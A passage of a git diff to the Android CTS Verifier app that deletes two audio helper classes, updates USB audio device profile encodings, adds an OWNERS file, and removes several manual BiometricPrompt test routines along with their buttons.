- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio.audiolib;
-
-import android.os.Handler;
-import android.os.Looper;
-import android.os.Message;
-
-public class StreamRecorderListener extends Handler {
-    @SuppressWarnings("unused")
-    private static final String TAG = "StreamRecorderListener";
-
-    public static final int MSG_START = 0;
-    public static final int MSG_BUFFER_FILL = 1;
-    public static final int MSG_STOP = 2;
-
-    public StreamRecorderListener(Looper looper) {
-        super(looper);
-    }
-
-    @Override
-    public void handleMessage(Message msg) {
-        switch (msg.what) {
-            case MSG_START:
-            case MSG_BUFFER_FILL:
-            case MSG_STOP:
-                break;
-        }
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/WaveTableFloatFiller.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/WaveTableFloatFiller.java
deleted file mode 100644
index 1040eab..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/audiolib/WaveTableFloatFiller.java
+++ /dev/null
@@ -1,89 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.audio.audiolib;
-
-/**
- * A AudioFiller implementation for feeding data from a PCMFLOAT wavetable.
- */
-public class WaveTableFloatFiller implements AudioFiller {
-    @SuppressWarnings("unused")
-    private static String TAG = "WaveTableFloatFiller";
-
-    private float[] mWaveTbl = null;
-    private int mNumWaveTblSamples = 0;
-    private float mSrcPhase = 0.0f;
-
-    private float mSampleRate = 48000;
-    private float mFreq = 1000; // some arbitrary frequency
-    private float mFN = 1.0f;   // The "nominal" frequency, essentially how much much of the
-                                // wave table needs to be played to get one cycle at the
-                                // sample rate. Used to calculate the phase increment
-
-    public WaveTableFloatFiller(float[] waveTbl) {
-        setWaveTable(waveTbl);
-    }
-
-    private void calcFN() {
-        mFN = mSampleRate / (float)mNumWaveTblSamples;
-    }
-
-    public void setWaveTable(float[] waveTbl) {
-        mWaveTbl = waveTbl;
-        mNumWaveTblSamples = waveTbl != null ? mWaveTbl.length - 1 : 0;
-
-        calcFN();
-    }
-
-    public void setSampleRate(float sampleRate) {
-        mSampleRate = sampleRate;
-        calcFN();
-    }
-
-    public void setFreq(float freq) {
-        mFreq = freq;
-    }
-
-    @Override
-    public void reset() {
-        mSrcPhase = 0.0f;
-    }
-
-    public int fill(float[] buffer, int numFrames, int numChans) {
-        final float phaseIncr = mFreq / mFN;
-        int outIndex = 0;
-        for (int frameIndex = 0; frameIndex < numFrames; frameIndex++) {
-            // 'mod' back into the waveTable
-            while (mSrcPhase >= (float)mNumWaveTblSamples) {
-                mSrcPhase -= (float)mNumWaveTblSamples;
-            }
-
-            // linear-interpolate
-            int srcIndex = (int)mSrcPhase;
-            float delta0 = mSrcPhase - (float)srcIndex;
-            float delta1 = 1.0f - delta0;
-            float value = ((mWaveTbl[srcIndex] * delta0) + (mWaveTbl[srcIndex + 1] * delta1));
-
-            for (int chanIndex = 0; chanIndex < numChans; chanIndex++) {
-                buffer[outIndex++] = value;
-            }
-
-            mSrcPhase += phaseIncr;
-        }
-
-        return numFrames;
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
index b62a986..3b11c4c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
@@ -48,46 +48,46 @@
         "<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>" +
             "<ProfileList Version=\"1.0.0\">" +
             "<PeripheralProfile ProfileName=\"Google USB-C Headset\" ProfileDescription=\"Google USB-C Headset\" ProductName=\"USB-Audio - Pixel USB-C earbuds\">" +
-                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" +
+                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"21,4\" SampleRates=\"44100,48000\" />" +
                 "<InputDevInfo ChanCounts=\"1\" ChanPosMasks=\"16\" ChanIndexMasks=\"1\" Encodings=\"2\" SampleRates=\"44100,48000\" />" +
                 "<ButtonInfo HasBtnA=\"1\" HasBtnB=\"1\" HasBtnC=\"1\" HasBtnD=\"0\" />" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"AudioBox USB 96\" ProfileDescription=\"PreSonus AudioBox USB 96\" ProductName=\"USB-Audio - AudioBox USB 96\">" +
-                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
-                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
+                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"22,4\" SampleRates=\"44100,48000,88200,96000\"/>" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"22,4\" SampleRates=\"44100,48000,88200,96000\"/>" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"AudioBox 44VSL\" ProfileDescription=\"Presonus AudioBox 44VSL\" ProductName=\"USB-Audio - AudioBox 44 VSL\">" +
-                "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
-                "<InputDevInfo ChanCounts=\"1,2,3,4\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
+                "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"21,4\" SampleRates=\"44100,48000,88200,96000\" />" +
+                "<InputDevInfo ChanCounts=\"1,2,3,4\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3,7,15\" Encodings=\"21,4\" SampleRates=\"44100,48000,88200,96000\" />" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"AudioBox 22VSL\" ProfileDescription=\"Presonus AudioBox 22VSL\" ProductName=\"USB-Audio - AudioBox 22 VSL\">" +
-                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
-                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
+                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"21,4\" SampleRates=\"44100,48000,88200,96000\" />" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"21,4\" SampleRates=\"44100,48000,88200,96000\" />" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"AudioBox USB\" ProfileDescription=\"Presonus AudioBox USB\" ProductName=\"USB-Audio - AudioBox USB\">" +
-                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" +
-                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" +
+                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"21,4\" SampleRates=\"44100,48000\" />" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"21,4\" SampleRates=\"44100,48000\" />" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"Focusrite 2i4\" ProfileDescription=\"Focusrite Scarlett 2i4\" ProductName=\"USB-Audio - Scarlett 2i4 USB\">" +
-                "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
-                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\"/>" +
+                "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"21,4\" SampleRates=\"44100,48000,88200,96000\"/>" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"21,4\" SampleRates=\"44100,48000,88200,96000\"/>" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"Behringer UMC204HD\" ProfileDescription=\"Behringer UMC204HD\" ProductName=\"USB-Audio - UMC204HD 192k\">" +
-                "<OutputDevInfo ChanCounts=\"2,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"15\" Encodings=\"2,4\" SampleRates=\"44100,48000,88200,96000,176400,192000\"/>" +
-                "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000,176400,192000\"/>" +
+                "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"22,4\" SampleRates=\"44100,48000,88200,96000,176400,192000\"/>" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"16,12\" ChanIndexMasks=\"1,3\" Encodings=\"22,4\" SampleRates=\"44100,48000,88200,96000,176400,192000\"/>" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"Roland Rubix24\" ProfileDescription=\"Roland Rubix24\" ProductName=\"USB-Audio - Rubix24\">" +
                 "<OutputDevInfo ChanCounts=\"2,3,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"3,7,15\" Encodings=\"4\" SampleRates=\"44100,48000,96000,192000\"/>" +
                 "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1,3\" Encodings=\"4\" SampleRates=\"44100,48000,96000,192000\"/>" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"Pixel USB-C Dongle + Wired Analog Headset\" ProfileDescription=\"Reference USB Dongle\" ProductName=\"USB-Audio - USB-C to 3.5mm-Headphone Adapte\">" +
-                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
-                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
+                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"21,4\" SampleRates=\"48000\" />" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"21,4\" SampleRates=\"48000\" />" +
                 "<ButtonInfo HasBtnA=\"1\" HasBtnB=\"1\" HasBtnC=\"1\" />" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"HTC Dongle\" ProfileDescription=\"Type-C to 3.5mm Headphone\" ProductName=\"USB-Audio - HTC Type-C to 3.5mm Headphone J\">" +
-                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\" />" +
-                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"48000\"/>" +
+                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"21,4\" SampleRates=\"48000\" />" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"3\" Encodings=\"21,4\" SampleRates=\"48000\"/>" +
                 "<ButtonInfo HasBtnA=\"1\" HasBtnB=\"1\" HasBtnC=\"1\" />" +
             "</PeripheralProfile>" +
             "<PeripheralProfile ProfileName=\"JBL Reflect Aware\" ProfileDescription=\"JBL Reflect Aware\" ProductName=\"USB-Audio - JBL Reflect Aware\">" +
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/battery/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/battery/OWNERS
new file mode 100644
index 0000000..854a7f4
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/battery/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 330055
+omakoto@google.com
+kwekua@google.com
+yamasani@google.com
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/AbstractBaseTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/AbstractBaseTest.java
index 1eba882..a58a18f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/AbstractBaseTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/AbstractBaseTest.java
@@ -16,15 +16,10 @@
 
 package com.android.cts.verifier.biometrics;
 
-import android.content.DialogInterface;
 import android.content.Intent;
 import android.hardware.biometrics.BiometricManager;
 import android.hardware.biometrics.BiometricManager.Authenticators;
-import android.hardware.biometrics.BiometricPrompt;
-import android.hardware.biometrics.BiometricPrompt.AuthenticationCallback;
-import android.hardware.biometrics.BiometricPrompt.AuthenticationResult;
 import android.os.Bundle;
-import android.os.CancellationSignal;
 import android.os.Handler;
 import android.os.Looper;
 import android.provider.Settings;
@@ -33,7 +28,6 @@
 import android.widget.Toast;
 
 import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
 
 import java.util.concurrent.Executor;
 
@@ -89,11 +83,15 @@
         Toast.makeText(this, s, Toast.LENGTH_SHORT).show();
     }
 
+    void showToastAndLog(String s, Exception e) {
+        Log.d(getTag(), s, e);
+        Toast.makeText(this, s, Toast.LENGTH_SHORT).show();
+    }
+
     protected void onBiometricEnrollFinished() {
     }
 
-    void checkAndEnroll(Button enrollButton, int requestedStrength,
-            int[] acceptableConfigStrengths) {
+    void checkAndEnroll(Button enrollButton, int requestedStrength) {
         // Check that no biometrics (of any strength) are enrolled
         int result = mBiometricManager.canAuthenticate(Authenticators.BIOMETRIC_WEAK);
         if (result == BiometricManager.BIOMETRIC_SUCCESS) {
@@ -107,23 +105,12 @@
             showToastAndLog("Please ensure that all biometrics are removed before starting"
                     + " this test");
         } else if (result == BiometricManager.BIOMETRIC_ERROR_NO_HARDWARE) {
-            boolean configContainsRequestedStrength = false;
-            for (int strength : acceptableConfigStrengths) {
-                if (Utils.deviceConfigContains(this, strength)) {
-                    configContainsRequestedStrength = true;
-                    break;
-                }
-            }
-
-            if (configContainsRequestedStrength) {
-                showToastAndLog("Your configuration contains the requested biometric strength, but"
-                        + " is inconsistent with BiometricManager.");
-            } else {
-                showToastAndLog("This device does not have a sensor meeting the requested strength,"
-                        + " you may pass this test");
-                enrollButton.setEnabled(false);
-                getPassButton().setEnabled(true);
-            }
+            // Multi-sensor cases are more thoroughly tested in regular CTS (not CTS-V), this
+            // should be fine for the purposes of CTS-V.
+            showToastAndLog("This device does not have a sensor meeting the requested strength,"
+                    + " you may pass this test");
+            enrollButton.setEnabled(false);
+            getPassButton().setEnabled(true);
         } else if (result == BiometricManager.BIOMETRIC_ERROR_NONE_ENROLLED) {
             startBiometricEnroll(REQUEST_ENROLL_WHEN_NONE_ENROLLED, requestedStrength);
         } else {
@@ -140,283 +127,4 @@
 
         startActivityForResult(enrollIntent, requestCode);
     }
-
-    void testBiometricUI(Utils.VerifyRandomContents contents, int allowedAuthenticators) {
-        Utils.showInstructionDialog(this,
-                R.string.biometric_test_ui_instruction_dialog_title,
-                R.string.biometric_test_ui_instruction_dialog_contents,
-                R.string.biometric_test_ui_instruction_dialog_continue,
-                (dialog, which) -> {
-            if (which == DialogInterface.BUTTON_POSITIVE) {
-                // Create the BiometricPrompt with the above random numbers
-                final BiometricPrompt.Builder builder =
-                        new BiometricPrompt.Builder(this);
-                builder.setAllowedAuthenticators(allowedAuthenticators);
-                builder.setTitle("Title: " + contents.mRandomTitle);
-                builder.setSubtitle("Subtitle: " + contents.mRandomSubtitle);
-                builder.setDescription("Description: " + contents.mRandomDescription);
-                builder.setNegativeButton("Negative Button: "
-                                + contents.mRandomNegativeButtonText, mExecutor,
-                        (dialog1, which1) -> {
-                            // Ignore
-                        });
-                final BiometricPrompt prompt = builder.build();
-
-                // When authentication succeeds, check that the values entered by the
-                // tester match the generated values.
-                prompt.authenticate(new CancellationSignal(), mExecutor,
-                        new BiometricPrompt.AuthenticationCallback() {
-                            @Override
-                            public void onAuthenticationSucceeded(
-                                    BiometricPrompt.AuthenticationResult result) {
-                                final int authenticationType = result.getAuthenticationType();
-                                if (authenticationType !=
-                                        BiometricPrompt.AUTHENTICATION_RESULT_TYPE_BIOMETRIC) {
-                                    showToastAndLog("Unexpected authenticationType: "
-                                            + authenticationType);
-                                    return;
-                                }
-
-                                Utils.showUIVerificationDialog(AbstractBaseTest.this,
-                                        R.string.biometric_test_ui_verification_dialog_title,
-                                        R.string.biometric_test_ui_verification_dialog_check,
-                                        contents);
-                            }
-                        });
-            }
-        });
-    }
-
-    /**
-     * When both credential and biometrics are enrolled, check that the user is able to
-     * authenticate with biometric.
-     */
-    void testSetDeviceCredentialAllowed_biometricAuth(Runnable successRunnable) {
-        final BiometricPrompt.Builder builder = new BiometricPrompt.Builder(this);
-        builder.setDeviceCredentialAllowed(true);
-        builder.setTitle("Please authenticate with BIOMETRIC only");
-        final BiometricPrompt prompt = builder.build();
-        prompt.authenticate(new CancellationSignal(), mExecutor,
-                new BiometricPrompt.AuthenticationCallback() {
-                    @Override
-                    public void onAuthenticationSucceeded(
-                            BiometricPrompt.AuthenticationResult result) {
-                        if (result.getAuthenticationType() ==
-                                BiometricPrompt.AUTHENTICATION_RESULT_TYPE_BIOMETRIC) {
-                            successRunnable.run();
-                        } else {
-                            showToastAndLog("Please ensure that you authenticate with biometric,"
-                                    + " and not device credential");
-                        }
-                    }
-                });
-    }
-
-    /**
-     * When both credential and biometrics are enrolled, check that the user is able to navigate
-     * to the credential option, and that authenticating works.
-     */
-    void testSetDeviceCredentialAllowed_credentialAuth(Runnable successRunnable) {
-        final BiometricPrompt.Builder builder = new BiometricPrompt.Builder(this);
-        builder.setDeviceCredentialAllowed(true);
-        builder.setTitle("Please authenticate with CREDENTIAL only");
-        builder.setDescription("Depending on your implementation, you may need to skip biometric"
-                + " authentication, e.g. press the \"Use PIN\" button");
-        final BiometricPrompt prompt = builder.build();
-        prompt.authenticate(new CancellationSignal(), mExecutor,
-                new BiometricPrompt.AuthenticationCallback() {
-                    @Override
-                    public void onAuthenticationSucceeded(
-                            BiometricPrompt.AuthenticationResult result) {
-                        if (result.getAuthenticationType()
-                                == BiometricPrompt.AUTHENTICATION_RESULT_TYPE_DEVICE_CREDENTIAL) {
-                            successRunnable.run();
-                        } else {
-                            showToastAndLog("Please ensure that you authenticate with device"
-                                    + " credential, and not biometric");
-                        }
-                    }
-                });
-    }
-
-    /**
-     * When both credential and biometrics are enrolled, check that the user is able to navigate
-     * to the credential option, and that authenticating works.
-     *
-     * Note: we don't need to test the biometric authentication path here since it's tested
-     * everywhere else already.
-     */
-    void testSetAllowedAuthenticators_credentialAndBiometricEnrolled_credentialAuth(
-            Runnable successRunnable) {
-        final BiometricPrompt.Builder builder = new BiometricPrompt.Builder(this);
-        builder.setAllowedAuthenticators(Authenticators.DEVICE_CREDENTIAL
-                | Authenticators.BIOMETRIC_WEAK);
-        builder.setTitle("Please authenticate with CREDENTIAL only");
-        builder.setDescription("Depending on your implementation, you may need to skip biometric"
-                + " authentication, e.g. press the \"Use PIN\" button");
-        final BiometricPrompt prompt = builder.build();
-        prompt.authenticate(new CancellationSignal(), mExecutor,
-                new BiometricPrompt.AuthenticationCallback() {
-                    @Override
-                    public void onAuthenticationSucceeded(
-                            BiometricPrompt.AuthenticationResult result) {
-                        if (result.getAuthenticationType()
-                                == BiometricPrompt.AUTHENTICATION_RESULT_TYPE_DEVICE_CREDENTIAL) {
-                            successRunnable.run();
-                        } else {
-                            showToastAndLog("Please ensure that you authenticate with device"
-                                    + " credential, and not biometric");
-                        }
-                    }
-                });
-    }
-
-    private boolean isPublicAuthenticatorConstant(int authenticator) {
-        final int[] publicConstants =  {
-                Authenticators.BIOMETRIC_STRONG,
-                Authenticators.BIOMETRIC_WEAK,
-                Authenticators.DEVICE_CREDENTIAL
-        };
-        for (int constant : publicConstants) {
-            if (authenticator == constant) {
-                return true;
-            }
-        }
-        return false;
-    }
-
-    void testInvalidInputs(Runnable successRunnable) {
-        for (int i = 0; i < 32; i++) {
-            final int authenticator = 1 << i;
-            // If it's a public constant, no need to test
-            if (isPublicAuthenticatorConstant(authenticator)) {
-                continue;
-            }
-
-            // Test canAuthenticate(int)
-            boolean exceptionCaught = false;
-            try {
-                mBiometricManager.canAuthenticate(authenticator);
-            } catch (Exception e) {
-                exceptionCaught = true;
-            }
-
-            if (!exceptionCaught) {
-                showToastAndLog("Non-public constants provided to canAuthenticate(int) must throw an"
-                        + " exception");
-                return;
-            }
-
-            // Test setAllowedAuthenticators(int)
-            exceptionCaught = false;
-            try {
-                final BiometricPrompt.Builder builder = new BiometricPrompt.Builder(this);
-                builder.setAllowedAuthenticators(authenticator);
-                builder.setTitle("This should never be shown");
-                builder.setNegativeButton("Cancel", mExecutor,
-                        (dialog, which) -> {
-                            // Do nothing
-                        });
-                final BiometricPrompt prompt = builder.build();
-                prompt.authenticate(new CancellationSignal(), mExecutor,
-                        new AuthenticationCallback() {
-
-                });
-            } catch (Exception e) {
-                exceptionCaught = true;
-            }
-
-            if (!exceptionCaught) {
-                showToastAndLog("Non-public constants provided to setAllowedAuthenticators(int) must"
-                        + " throw an exception");
-                return;
-            }
-        }
-
-        successRunnable.run();
-    }
-
-    void testBiometricRejectDoesNotEndAuthentication(Runnable successRunnable) {
-        Utils.showInstructionDialog(this,
-                R.string.biometric_test_reject_continues_instruction_title,
-                R.string.biometric_test_reject_continues_instruction_contents,
-                R.string.biometric_test_reject_continues_instruction_continue,
-                (dialog, which) -> {
-                    if (which == DialogInterface.BUTTON_POSITIVE) {
-                        final BiometricPrompt.Builder builder = new BiometricPrompt.Builder(this);
-                        builder.setTitle("Reject, then authenticate");
-                        builder.setDescription("Please present a non-enrolled biometric to trigger"
-                                + " onAuthenticationFailed. Then present an enrolled biometric"
-                                + " to finish this test.");
-                        builder.setAllowedAuthenticators(Authenticators.BIOMETRIC_WEAK);
-                        builder.setNegativeButton("Cancel", mExecutor, (dialog1, which1) -> {
-                            // Do nothing
-                        });
-
-                        final BiometricPrompt prompt = builder.build();
-                        prompt.authenticate(new CancellationSignal(), mExecutor,
-                                new AuthenticationCallback() {
-                                    boolean rejectReceived;
-                                    @Override
-                                    public void onAuthenticationSucceeded(AuthenticationResult
-                                            result) {
-                                        if (rejectReceived) {
-                                            successRunnable.run();
-                                        } else {
-                                            showToastAndLog("Please present a non-enrolled"
-                                                    + " biometric first");
-                                        }
-                                    }
-
-                                    @Override
-                                    public void onAuthenticationFailed() {
-                                        rejectReceived = true;
-                                    }
-                                });
-                    }
-                });
-    }
-
-    void testNegativeButtonCallback(int allowedAuthenticators, Runnable successRunnable) {
-        final BiometricPrompt.Builder builder = new BiometricPrompt.Builder(this);
-        builder.setTitle("Press the negative button");
-        builder.setAllowedAuthenticators(allowedAuthenticators);
-        builder.setNegativeButton("Press me", mExecutor, (dialog1, which1) -> {
-            mExecutor.execute(successRunnable);
-        });
-
-        final BiometricPrompt prompt = builder.build();
-        prompt.authenticate(new CancellationSignal(), mExecutor,
-                new AuthenticationCallback() {
-            // Do nothing
-        });
-    }
-
-    void testCancellationSignal(int allowedAuthenticators, Runnable successRunnable) {
-        final BiometricPrompt.Builder builder = new BiometricPrompt.Builder(this);
-        builder.setTitle("Do not authenticate");
-        builder.setDescription("The authentication prompt should be dismissed automatically in 5s");
-        builder.setAllowedAuthenticators(allowedAuthenticators);
-        if ((allowedAuthenticators & Authenticators.DEVICE_CREDENTIAL) == 0) {
-            builder.setNegativeButton("Negative button", mExecutor, (dialog, which) -> {
-                // do nothing
-            });
-        }
-
-        final CancellationSignal cancel = new CancellationSignal();
-        final BiometricPrompt prompt = builder.build();
-        prompt.authenticate(cancel, mExecutor, new AuthenticationCallback() {
-            @Override
-            public void onAuthenticationError(int errorCode, CharSequence errString) {
-                if (errorCode == BiometricPrompt.BIOMETRIC_ERROR_CANCELED) {
-                    successRunnable.run();
-                } else {
-                    showToastAndLog("Unexpected error: " + errorCode);
-                }
-            }
-        });
-
-        mHandler.postDelayed(cancel::cancel, 5000);
-    }
-
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/AbstractUserAuthenticationTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/AbstractUserAuthenticationTest.java
index 92869f3..ace4c7f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/AbstractUserAuthenticationTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/AbstractUserAuthenticationTest.java
@@ -356,7 +356,7 @@
 
                     if (keyUsed != shouldKeyBeUsable) {
                         showToastAndLog("Test failed. shouldKeyBeUsable: " + shouldKeyBeUsable
-                                + " keyUsed: " + keyUsed + " Exception: " + exception);
+                                + " keyUsed: " + keyUsed + " Exception: " + exception, exception);
                         if (exception != null) {
                             exception.printStackTrace();
                         }
@@ -418,4 +418,9 @@
         Log.d(getTag(), s);
         Toast.makeText(this, s, Toast.LENGTH_SHORT).show();
     }
+
+    private void showToastAndLog(String s, Exception e) {
+        Log.d(getTag(), s, e);
+        Toast.makeText(this, s, Toast.LENGTH_SHORT).show();
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricStrongTests.java b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricStrongTests.java
index 04b4add..d5d2199 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricStrongTests.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/biometrics/BiometricStrongTests.java
@@ -69,26 +69,10 @@
     private Button mCheckAndEnrollButton;
     private Button mAuthenticateWithoutStrongBoxButton;
     private Button mAuthenticateWithStrongBoxButton;
-    private Button mAuthenticateUIButton;
-    private Button mAuthenticateCredential1Button; // setDeviceCredentialAllowed(true), biometric
-    private Button mAuthenticateCredential2Button; // setDeviceCredentialAllowed(true), credential
-    private Button mAuthenticateCredential3Button; // setAllowedAuthenticators(CREDENTIAL|BIOMETRIC)
-    private Button mCheckInvalidInputsButton;
-    private Button mRejectThenAuthenticateButton;
-    private Button mNegativeButtonButton;
-    private Button mCancellationButton;
     private Button mKeyInvalidatedButton;
 
     private boolean mAuthenticateWithoutStrongBoxPassed;
     private boolean mAuthenticateWithStrongBoxPassed;
-    private boolean mAuthenticateUIPassed;
-    private boolean mAuthenticateCredential1Passed;
-    private boolean mAuthenticateCredential2Passed;
-    private boolean mAuthenticateCredential3Passed;
-    private boolean mCheckInvalidInputsPassed;
-    private boolean mRejectThenAuthenticatePassed;
-    private boolean mNegativeButtonPassed;
-    private boolean mCancellationButtonPassed;
     private boolean mKeyInvalidatedStrongboxPassed;
     private boolean mKeyInvalidatedNoStrongboxPassed;
 
@@ -106,14 +90,6 @@
             mCheckAndEnrollButton.setEnabled(false);
             mAuthenticateWithoutStrongBoxButton.setEnabled(true);
             mAuthenticateWithStrongBoxButton.setEnabled(true);
-            mAuthenticateUIButton.setEnabled(true);
-            mAuthenticateCredential1Button.setEnabled(true);
-            mAuthenticateCredential2Button.setEnabled(true);
-            mAuthenticateCredential3Button.setEnabled(true);
-            mCheckInvalidInputsButton.setEnabled(true);
-            mRejectThenAuthenticateButton.setEnabled(true);
-            mNegativeButtonButton.setEnabled(true);
-            mCancellationButton.setEnabled(true);
         } else {
             showToastAndLog("Unexpected result after enrollment: " + biometricStatus);
         }
@@ -129,17 +105,6 @@
         mCheckAndEnrollButton = findViewById(R.id.check_and_enroll_button);
         mAuthenticateWithoutStrongBoxButton = findViewById(R.id.authenticate_no_strongbox_button);
         mAuthenticateWithStrongBoxButton = findViewById(R.id.authenticate_strongbox_button);
